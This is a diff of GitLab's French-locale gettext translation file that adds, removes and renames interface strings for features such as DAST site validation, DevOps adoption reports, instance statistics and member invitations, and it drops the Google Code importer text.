msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "Par défaut : importer directement l’adresse de courriel ou le nom d’utilisateur provenant de Google Code"
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "Par défaut : associer un identifiant de compte FogBugz à un nom complet"
@@ -8604,8 +8851,8 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "Êtesâ€vous sûr(e) de vouloir exécuter %{jobName} immédiatement ? Dans le cas contraire, cette tâche sera automatiquement exécutée à l’heure programmée."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "Êtesâ€vous sûr(e) de vouloir exécuter %{job_name} immédiatement ? Dans le cas contraire, cette tâche sera automatiquement exécutée à l’heure programmée."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr "Description"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr "Détecter les clefs de l’hôte"
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "Limites du contenu du diff"
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "Voulezâ€vous personnaliser la manière dont les adresses de courriel et les noms d’utilisateurs issus de Google Code sont importés dans GitLab ?"
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr "Activer"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr "Arrêter l’environnement"
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr "Erreur lors du chargement du modèle."
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr "Échec de la mise à jour du ticket. Veuillez réessayer."
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr "Indicateurs de fonctionnalités"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr "févr."
msgid "February"
msgstr "février"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr "Rechercher un fichier"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "Cherchez le fichier ZIP téléchargé et décompressezâ€le."
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr "Importation de FogBugz"
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "Veuillez suivre les étapes ciâ€dessous pour exporter les données de votre projet Google Code."
-
msgid "Font Color"
msgstr "Couleur de la police"
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "Erreurs trouvées dans votre fichier .gitlab-ci.yml :"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr "Depuis Google Code"
-
msgid "From issue creation until deploy to production"
msgstr "Depuis la création du ticket jusqu’au déploiement en production"
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr "Utilisateur GitLab"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr "Retour"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr "Consultez le site de %{link_to_google_takeout}."
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr "Importation depuis Google Code"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "Une erreur s’est produite lors de la récupération des épopées"
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "Êtes-vous sûr·e de vouloir quitter le groupe « %{fullName} » ?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "Créez un projet dans ce groupe."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Créer un sousâ€groupe de ce groupe."
-
msgid "GroupsTree|Edit group"
msgstr "Modifier le groupe"
@@ -13489,6 +13835,9 @@ msgstr "Aucun problème détecté"
msgid "HealthCheck|Unhealthy"
msgstr "En mauvaise santé"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "Si vous utilisez GitHub, vous verrez les statuts des pipelines sur GitHub pour vos commits et demandes d’intégration (pull requests). %{more_info_link}"
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr "Importe des projets depuis Gitea"
-msgid "Import all compatible projects"
-msgstr "Importer tous les projets compatibles"
-
-msgid "Import all projects"
-msgstr "Importer tous les projets"
-
msgid "Import an exported GitLab project"
msgstr "Importer un projet GitLab exporté"
@@ -13917,9 +14260,6 @@ msgstr "Importer des projets depuis FogBugz"
msgid "Import projects from GitLab.com"
msgstr "Importer des projets depuis GitLab.com"
-msgid "Import projects from Google Code"
-msgstr "Importer des projets depuis Google Code"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Importer des dépôts à partir de Bitbucket Server"
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr "Connecter des dépôts provenant de"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr "À la prochaine étape, vous pourrez sélectionner les projets que vous souhaitez importer."
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr "Projet incompatible"
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr "Installer GitLab Runner"
msgid "Install Runner on Kubernetes"
msgstr "Installez un exécuteur sur Kubernetes"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] "Instances"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "Les personnes intéressées peuvent même contribuer en poussant des commits si elles le souhaitent."
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "Tableaux des tickets"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "Tableau"
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr "Tâches"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "Parcourir"
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "Dernière réponse de"
@@ -15583,6 +15977,9 @@ msgstr "En savoir plus sur Kubernetes"
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr "Quitter le groupe"
msgid "Leave project"
msgstr "Quitter le projet"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr "Laisser les options « type de fichier » et « mode de livraison » à leurs valeurs par défaut."
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "Affichage limité à %d événement maximum"
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr "Assurezâ€vous d’être connecté avec le compte propriétaire des projets que vous souhaitez importer."
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,18 +16552,12 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
msgid "Map a FogBugz account ID to a GitLab user"
msgstr "Associer un identifiant de compte FogBugz à un utilisateur GitLab"
-msgid "Map a Google Code user to a GitLab user"
-msgstr "Associer un utilisateur de Google Code à un utilisateur GitLab"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "Associer un utilisateur de Google Code à une adresse de courriel complète"
-
-msgid "Map a Google Code user to a full name"
-msgstr "Associer un utilisateur de Google Code à un nom complet"
-
msgid "Mar"
msgstr "mars"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
